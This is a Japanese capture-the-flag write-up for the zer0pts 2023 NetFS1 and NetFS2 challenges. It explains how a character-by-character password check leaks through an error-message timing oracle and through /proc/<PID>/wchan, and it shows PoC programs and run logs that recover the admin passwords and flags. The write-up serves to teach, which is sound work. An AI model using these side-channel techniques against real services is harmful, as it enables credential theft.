公式のWriteupは[こちら](https://github.com/zer0pts/zer0pts-ctf-2023-public/tree/master) # NetFS1 ###### `misc` ![image](https://hackmd.io/_uploads/rJI_aZoR0.png) :::spoiler 問題のソースコード(クリックで展開) ```python= #!/usr/bin/env python3 import multiprocessing import os import signal import socket import re assert os.path.isfile("secret/password.txt"), "Password file not found." MAX_SIZE = 0x1000 LOGIN_USERS = { b'guest': b'guest', b'admin': open("secret/password.txt", "rb").read().strip() # この時点でfdは一度閉じられる. 値を読んでいるからメモリには存在している. } PROTECTED = [b"server.py", b"secret"] # そもそもなぜserver.pyもPROTECEDなのだろう?問題配っているんだから, server.pyっていらなくない?(書き込み無いし) assert re.fullmatch(b"[0-9a-f]+", LOGIN_USERS[b'admin']) class Timeout(object): def __init__(self, seconds): self.seconds = seconds def handle_timeout(self, signum, frame): raise TimeoutError('Timeout') def __enter__(self): signal.signal(signal.SIGALRM, self.handle_timeout) signal.alarm(self.seconds) return self def __exit__(self, _type, _value, _traceback): signal.alarm(0) class PyNetworkFS(object): def __init__(self, conn): self._conn = conn self._auth = False self._user = None def __del__(self): self._conn.close() @property def is_authenticated(self): return self._auth @property def is_admin(self): return self.is_authenticated and self._user == b'admin' def response(self, message): self._conn.send(message) def recvline(self): data = b'' while True: match self._conn.recv(1): case b'': return None case b'\n': break case byte: data += byte return data def authenticate(self): username = password = b'' with Timeout(30): # Receive username self.response(b"Username: ") username = self.recvline() if username is None: return if username in LOGIN_USERS: password = LOGIN_USERS[username] else: self.response(b"No such a user exists.\n") return with Timeout(30): # Receive password self.response(b"Password: ") i = 0 while i < len(password): c = self._conn.recv(1) # Bug: 一文字ずつrecvしながら検証し, 違っていたら即座にreturn if c == b'': return elif c != password[i:i+1]: self.response(b"Incorrect password.\n") return i += 1 if self._conn.recv(1) != b'\n': self.response(b"Incorrect password.\n") return self.response(b"Logged in.\n") self._auth = True self._user = username def serve(self): """Serve files""" with Timeout(60): while True: # Receive filepath self.response(b"File: ") filepath = self.recvline() if filepath is None: return # Check filepath # guestでログインしている場合, b"server.py", b"secret"のどちらかが入力に含まれているとだめ. if not self.is_admin and \ any(map(lambda name: name in filepath, PROTECTED)): self.response(b"Permission denied.\n") continue # Serve file try: f = open(filepath, 'rb') except FileNotFoundError: self.response(b"File not found.\n") continue except PermissionError: self.response(b"Permission denied.\n") continue except: self.response(b"System error.\n") continue try: self.response(f.read(MAX_SIZE)) except OSError: self.response(b"System error.\n") finally: f.close() def pynetfs_main(conn): nfs = PyNetworkFS(conn) try: nfs.authenticate() except TimeoutError: nfs.response(b'Login timeout.\n') if nfs.is_authenticated: try: nfs.serve() except TimeoutError: return if __name__ == '__main__': # Setup server sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) print("Listening on 0.0.0.0:10021") sock.bind(('0.0.0.0', 10021)) sock.listen(16) # Handle connection ps = [] while True: conn, addr = sock.accept() ps.append(multiprocessing.Process(target=pynetfs_main, args=(conn,))) ps[-1].start() conn.close() ps = list(filter(lambda p: p.is_alive() or p.join(), ps)) ``` ::: 任意のファイルを読み出してくれるサービスが動いている. `guest`と`admin`というログインユーザが用意されており, `admin`でログインするためのパスワードを抜き出す問題である. `admin`のパスワードを抜き出しログインできれば, `secret/flag.txt`を読み出すことができる. ## バグ解析 コメントにも書いているが,パスワードの検証を一文字ずつ行っている. ```python! with Timeout(30): # Receive password self.response(b"Password: ") i = 0 while i < len(password): c = self._conn.recv(1) # Bug: 一文字ずつrecvしながら検証し, 違っていたら即座にreturn if c == b'': return elif c != password[i:i+1]: self.response(b"Incorrect password.\n") return i += 1 if self._conn.recv(1) != b'\n': self.response(b"Incorrect password.\n") return ``` `password[i]`が誤っていた場合に, `Incorrect password.`を出力して, 即座に接続を切断するため, この問題はタイミング攻撃に対する脆弱性が存在する. :::info `guest`でログインしたあとに,`/proc`配下のファイルから頑張って,`secret/`を読み出す系の問題だと思っていたが違った(netfs2がそんな感じ) ::: ## Exploit とくに言うことはない. 1文字送って`Incorrect password`が帰ってきた場合と, 帰ってこなかった場合で, 成否を判定する. {%gist 1u991yu24k1/e650649a04e9e4b7675de0cf19a864be %} ```shell! root@Ubu2204x64:netfs# ./x.py r [*] remote-> misc.2023.zer0pts.com 10021 try login admin by password: b'd' try login admin by password: b'dd' try login admin by password: b'dd7' try login admin by password: b'dd79' try login admin by password: b'dd79e' try login admin by password: b'dd79ef' try login admin by password: b'dd79efc' try login admin by password: b'dd79efc4' try login admin by password: b'dd79efc40' try login admin by password: b'dd79efc409' try login admin by password: b'dd79efc4093' try login admin by password: b'dd79efc4093c' try login admin by password: b'dd79efc4093c9' try login admin by password: b'dd79efc4093c93' try login admin by password: b'dd79efc4093c932' try login admin by password: b'dd79efc4093c9326' zer0pts{d0Nt_r3sp0nd_t00_qu1ck} root@Ubu2204x64:netfs# ``` # NetFS2 ###### `misc`, `procfs` ![image](https://hackmd.io/_uploads/r1qF6WjAC.png) :::spoiler 問題のソースコード(クリックで展開) ```python= #!/usr/bin/env python3 import multiprocessing import os import random import signal import socket import time import re assert os.path.isfile("secret/password.txt"), "Password file not found." MAX_SIZE = 0x1000 LOGIN_USERS = { b'guest': b'guest', b'admin': open("secret/password.txt", "rb").read().strip() } PROTECTED = [b"server.py", b"secret"] assert re.fullmatch(b"[0-9a-f]+", LOGIN_USERS[b'admin']) class Timeout(object): def __init__(self, seconds): self.seconds = seconds self.start = None def handle_timeout(self, signum, frame): raise TimeoutError('Timeout') def wait(self): signal.alarm(0) while time.time() - self.start < self.seconds: time.sleep(0.1) time.sleep(random.random()) # 5+α(α: 0~1.0sec)待ち受ける. def __enter__(self): signal.signal(signal.SIGALRM, self.handle_timeout) signal.alarm(self.seconds) self.start = time.time() return self def __exit__(self, _type, _value, _traceback): signal.alarm(0) time.sleep(random.random()) class PyNetworkFS(object): def __init__(self, conn): self._conn = conn self._auth = False self._user = None def __del__(self): self._conn.close() @property def is_authenticated(self): return self._auth @property def is_admin(self): return self.is_authenticated and self._user == b'admin' def response(self, message): self._conn.send(message) def recvline(self): data = b'' while True: match self._conn.recv(1): case b'': return None case b'\n': break case byte: data += byte return data def authenticate(self): """Login prompt""" username = password = b'' with Timeout(5): # Receive username self.response(b"Username: ") username = self.recvline() if username is None: return if username in LOGIN_USERS: password = LOGIN_USERS[username] else: self.response(b"No such a user exists.\n") return with Timeout(5) as timer: # Receive password self.response(b"Password: ") i = 0 while i < len(password): c = self._conn.recv(1) if c == b'': timer.wait() # ここで5秒 + random.random()待ち受ける. self.response(b"Incorrect password.\n") return elif c != password[i:i+1]: timer.wait() # ここで5秒 + random.random()待ち受ける. self.response(b"Incorrect password.\n") return # ここにはtimer.waitがない. →次の文字のrecv待ちになるか, 5秒きっかりでTimeoutする. i += 1 if self._conn.recv(1) != b'\n': timer.wait() self.response(b"Incorrect password.\n") return self.response(b"Logged in.\n") self._auth = True self._user = username def serve(self): """Serve files""" with Timeout(30): while True: # Receive filepath self.response(b"File: ") filepath = self.recvline() if filepath is None: return # Check filepath if not self.is_admin and \ any(map(lambda name: name in filepath, PROTECTED)): self.response(b"Permission denied.\n") continue # Serve file try: f = open(filepath, 'rb') except FileNotFoundError: self.response(b"File not found.\n") continue except PermissionError: self.response(b"Permission denied.\n") continue except: self.response(b"System error.\n") continue try: self.response(f.read(MAX_SIZE)) except OSError: self.response(b"System error.\n") finally: f.close() def pynetfs_main(conn): nfs = PyNetworkFS(conn) try: nfs.authenticate() except TimeoutError: nfs.response(b'Incorrect password.\n') if nfs.is_authenticated: try: nfs.serve() except TimeoutError: return if __name__ == '__main__': # Setup server sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) print("Listening on 0.0.0.0:10022") sock.bind(('0.0.0.0', 10022)) sock.listen(16) # Handle connection ps = [] while True: conn, addr = sock.accept() ps.append(multiprocessing.Process(target=pynetfs_main, args=(conn,))) ps[-1].start() conn.close() ps = list(filter(lambda p: p.is_alive() or p.join(), ps)) ``` ::: 前の問題に比べて, 以下の点が異なる. 1. ランダム時間での待機(sleep)が実装されている. - 間違っていた場合, 5秒+random.random()時間の待機が発生する. - ![image](https://hackmd.io/_uploads/r1SsaWiAA.png) 2. タイムアウトの時間が短くなっている. - 60秒から30秒に変更された. 3. エラーメッセージが全て, "Incorrect Password"になっている. - エラーメッセージをオラクルに使えない. 前の問題で使えていた, タイムアウトの時間に依存したタイミング攻撃は使用することができない. しかし, 前問同様, 1文字ずつ検証しているため何らかの情報を使ったタイミング攻撃と推測できる. 大会中は, 複数文字を送信したときの待機時間の差分によって`password[i]`の成否判別可能では?と考えていたのだが, 結局うまく行かず諦めた. 大会が終わってDiscordを見ていたのだが, この問題は`/proc/<PID>/wchan`というファイルをリーク情報として使用するのが想定解だったらしい. ![image](https://hackmd.io/_uploads/r1sa6-o0C.png) `/proc/<PID>/wchan`はそのプロセスが待機状態だった場合に, カーネル内のどの処理で待機しているか?を表示するためのファイル. > wchanを使うことに気づけたかは怪しいが, よくよく考えてみれば, プロセスのサイドチャネルを利用する場合は `/proc/self/`配下のファイルを使うというのは定石なので, `/proc`に気づけなかったのは痛い. ## `/proc/<PID>/wchan` 例えば, 以下の2つのコードを比べてみる. :::spoiler wchan_poc1.c ```c= #define _GNU_SOURCE #include <unistd.h> int main(int argc, char **argv) { unsigned int a = 0; while(1) a = (a+1) % 0x200; return 0; } ``` ::: :::spoiler wchan_poc2.c ```c= #define _GNU_SOURCE #include <unistd.h> int main(int argc, char **argv) { char buf[0x10] = {'\0'}; long nbytes = 0L; while(1) write(1, buf, read(0, buf, 0x10)); return 0; } ``` ::: どちらも無限ループで処理を行う. poc1の方は単純な算術演算を回しているだけなので、処理はとくにブロックしない. しかし, `poc2`の方は`read`によるブロッキング処理が入るため, 入力待ち状態になる. 上記のプログラムをそれぞれコンパイルして, `/proc/<PID>/wchan`を見てみる. `wchan_poc1`の方から見ていこう. ```shell= [Terminal1] root@Ubu2204x64:netfs# ./wchan_poc1 (何も表示されない) : [Terminal2] root@Ubu2204x64:netfs# cat /proc/$(pidof wchan_poc1)/wchan 0root@Ubu2204x64:netfs# ↑0が表示されている. ``` 次に`wchan_poc2`でも同じことを実施すると`/proc/<PID>/wchan`の中身が異なっている事がわかる. ```shell= [Terminal1] root@Ubu2204x64:netfs# ./wchan_poc2 : (readで, 入力待ち受け) [Terminal2] root@Ubu2204x64:netfs# cat /proc/$(pidof wchan_poc2)/wchan ★wait_woken★root@Ubu2204x64:netfs# ↑ここの表示が違っている. ``` つまりそのプロセスがユーザランド内で閉じた処理を行っている場合(State=Running)は, wchanは`0`を表示し, 外部IO待ちになっている場合(read/recvで入力を待ち受けたり, `write`/`send`で書き出し待ちの場合)は, `wait_woken`を表示する. ## Exploit方針 ブロッキング待ちが走っているかどうかで`wchan`の値が異なることを使って, パスワードを推測する. `password[i]`があっていた場合は, `timer.wait()`せずに即座に次の文字を`recv`するため`wchan`は`wait_woken`になる. 今回の問題では, 誤っていた場合は`wchan`が`hrtimer_nanosleep`を返す. > `hrtimer_nanosleep`は, sleepしている場合のカーネル内の関数っぽい. 方針としては以下の通り. 1. guest用・admin用に2つ接続する. 2. Guest用のセッションでログイン 3. admin用のセッションでは, 一文字だけパスワード候補の文字を送信 4. Guestのセッションからadmin用の`/proc/<PID>/wchan`を読み出し. - `hrtimer_sleep`になっていれば間違っているので1からやり直し. - `wait_woken`になっていれば, その文字を`password[i]`として確定する. これをパスワード長分繰り返せば良い. naiveに実装してみたコードが以下. {%gist 1u991yu24k1/a806ac1fba2457bd1219b04db2439276 %} 上記のコードは, ローカル環境に対しては80~90%近い確率でパスワードが抽出できるが, リモートに実施するとほとんどうまく行かない. これは, `<admin用接続のPID>`=`<guest用接続のPID + 1>`という"雑な"推測をしてしまっているため, 手順の4で`/proc/<PID>/wchan`を読みに行く場合の`PID`が正しく推測できないことが原因だ. > リモートのサーバでは自分以外の接続が多数存在するため, 自分のadmin接続に紐づいたPIDである可能性が低い. これを解決するために, 私は`/proc/<PID>/net/tcp`の`rem_address`に自分のグローバルIPがあるかどうかを, 判定に使用した. 以下は, ローカルで, `admin`セッションを繋いだときの, `/proc/<pid_for_admin_session>/net/tcp`の値. ``` ctf@8d38c163d5bb:~$ cat /proc/4347/net/tcp sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode 0: 00000000:2725 00000000:0000 0A 00000000:00000000 00:00000000 00000000 999 0 37401 1 0000000000000000 100 0 0 10 0 1: 0B00007F:8535 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 37388 1 0000000000000000 100 0 0 10 0 2: 020016AC:2725 010016AC:D42A 01 00000000:00000000 00:00000000 00000000 999 0 69960 1 0000000000000000 20 4 29 10 -1 ↑これがサーバから見た自分のIPアドレス(172.22.0.1) ctf@8d38c163d5bb:~$ ``` あとは[CMAN](https://www.cman.jp/network/support/go_access.cgi)とかで自分のグローバルIPを確認すればよい. 公式のWriteupでは, Guestの`pid`から`/proc/self/status`の`tgid`を読み出し, そこからadminセッションのPIDを推測している. :::success 今回はうまくいったが, 問題サーバに通信が到達する前段にロードバランサやらリバースプロキシを入れて送信元IPが変更されている場合は, 私の方法は使えないので注意. ::: ## Exploit writeupは以下の通り. {%gist 1u991yu24k1/6f2a9bdc2188783460d654c5e941aa8b %} 実行した結果は以下. ```shell= root@Ubu2204x64:netfs2# ./x.py r [*] remote-> misc.2023.zer0pts.com 10022 [*] found pid of admin session: 233046 password : 0 [*] found pid of admin session: 233048 [*] found pid of admin session: 233050 [*] found pid of admin session: 233052 password : 02 [*] found pid of admin session: 233054 [*] found pid of admin session: 233056 [*] found pid of admin session: 233058 [*] found pid of admin session: 233060 [*] found pid of admin session: 233062 [*] found pid of admin session: 233064 [*] found pid of admin session: 233066 [*] found pid of admin session: 233068 [*] found pid of admin session: 233070 password : 028 [*] found pid of admin session: 233072 [*] found pid of admin session: 233074 [*] found pid of admin session: 233076 [*] found pid of admin session: 233078 [*] found pid of admin session: 233080 [*] found pid of admin session: 233082 [*] found pid of admin session: 233084 [*] found pid of admin session: 233086 password : 0287 [*] found pid of admin session: 233088 [*] found pid of admin session: 233090 [*] found pid of admin session: 233092 password : 02872 [*] found pid of admin session: 233094 [*] found pid of admin session: 233096 [*] found pid of admin session: 233098 [*] found pid of admin session: 233100 [*] found pid of admin session: 233102 [*] found pid of admin session: 233104 [*] found pid of admin session: 233106 [*] found pid of admin session: 233108 [*] found pid of admin session: 233110 [*] found pid of admin session: 233112 [*] found pid of admin session: 233114 [*] found pid of admin session: 233116 [*] found pid of admin session: 233118 [*] found pid of admin session: 233120 [*] found pid of admin session: 233122 [*] found pid of admin session: 233124 password : 02872f [*] found pid of admin session: 233126 [*] found pid of admin session: 233128 [*] found pid of admin session: 233130 [*] found pid of admin session: 233132 [*] found pid of admin session: 233134 [*] found pid of admin session: 233136 password : 02872f5 [*] found pid of admin session: 233138 [*] found pid of admin session: 233140 [*] found pid of admin session: 233142 [*] found pid of admin session: 233144 [*] found pid of admin session: 233146 [*] found pid of admin session: 233148 [*] found pid of admin session: 233150 [*] found pid of admin session: 233152 [*] found pid of admin session: 233154 [*] found pid of admin session: 233156 [*] found pid of admin session: 233158 password : 02872f5a [*] found pid of admin session: 233160 [*] found pid of admin session: 233162 [*] found pid of admin session: 233164 [*] found pid of admin session: 233166 [*] found pid of admin session: 233168 [*] found pid of admin session: 233170 [*] found pid of admin session: 233172 [*] found pid of admin session: 233174 [*] found pid of admin session: 233176 [*] found pid of admin session: 233178 [*] found pid of admin session: 233180 [*] found pid of admin session: 233182 [*] found pid of admin session: 233184 [*] found pid of admin session: 233186 [*] found pid of admin session: 233188 password : 02872f5ae [*] found pid of admin session: 233190 password : 02872f5ae0 [*] found pid of admin session: 233192 [*] found pid of admin session: 233194 [*] found pid of admin session: 233196 [*] found pid of admin session: 233198 [*] found pid of admin session: 233200 [*] found pid of admin session: 233202 [*] found pid of admin session: 233204 [*] found pid of admin session: 233206 [*] found pid of admin session: 233208 password : 02872f5ae08 [*] found pid of admin session: 233210 [*] found pid of admin session: 233212 password : 02872f5ae081 [*] found pid of admin session: 233214 [*] found pid of admin session: 233216 [*] found pid of admin session: 233218 [*] found pid of admin session: 233220 [*] found pid of admin session: 233222 [*] found pid of admin session: 233224 [*] found pid of admin session: 233226 [*] found pid of admin session: 233228 [*] found pid of admin session: 233230 [*] found pid of admin session: 233232 password : 02872f5ae0819 [*] found pid of admin session: 233234 [*] found pid of admin session: 233236 [*] found pid of admin session: 233238 [*] found pid of admin session: 233240 [*] found pid of admin session: 233242 [*] found pid of admin session: 233244 [*] found pid of admin session: 233246 [*] found pid of admin session: 233248 [*] found pid of admin session: 233250 [*] found pid of admin session: 233252 [*] found pid of admin session: 233254 [*] found pid of admin session: 233256 [*] found pid of admin session: 233258 [*] found pid of admin session: 233260 password : 02872f5ae0819d [*] found pid of admin session: 233262 [*] found pid of admin session: 233264 [*] found pid of admin session: 233266 password : 02872f5ae0819d2 [*] found pid of admin session: 233268 [*] found pid of admin session: 233270 [*] found pid of admin session: 233272 [*] found pid of admin session: 233274 [*] found pid of admin session: 233276 [*] found pid of admin session: 233278 [*] found pid of admin session: 233280 [*] found pid of admin session: 233282 [*] found pid of admin session: 233284 [*] found pid of admin session: 233286 [*] found pid of admin session: 233288 [*] found pid of admin session: 233290 [*] found pid of admin session: 233292 [*] found pid of admin session: 233294 [*] found pid of admin session: 233296 [*] found pid of admin session: 233298 password : 02872f5ae0819d2f admin password : 02872f5ae0819d2f b'zer0pts{pr0cfs_1s_5uch_4_n1c3_0r4cl3_5d17c4e}' root@Ubu2204x64:netfs2# ```